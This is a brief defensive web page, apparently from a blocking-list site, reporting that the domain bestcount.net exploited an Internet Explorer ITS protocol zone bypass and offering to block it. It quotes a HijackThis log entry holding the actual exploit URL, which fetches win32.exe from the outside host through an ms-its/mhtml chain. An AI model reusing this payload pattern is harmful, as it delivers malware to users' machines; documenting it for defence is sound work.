Skip to content

bestcount.net

submitted by Roger Karlsson

bestcount.net seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:

O16 - DPF: {11010101-1001-1111-1000-110112345678} - ms-its:mhtml:file://C:\foo.mht!http://bestcount.net//adv//188//targ.chm::/win32.exe

Koffix offers you the possibility to:

  1. add bestcount.net to the restricted zone
  2. add bestcount.net to the HOSTS file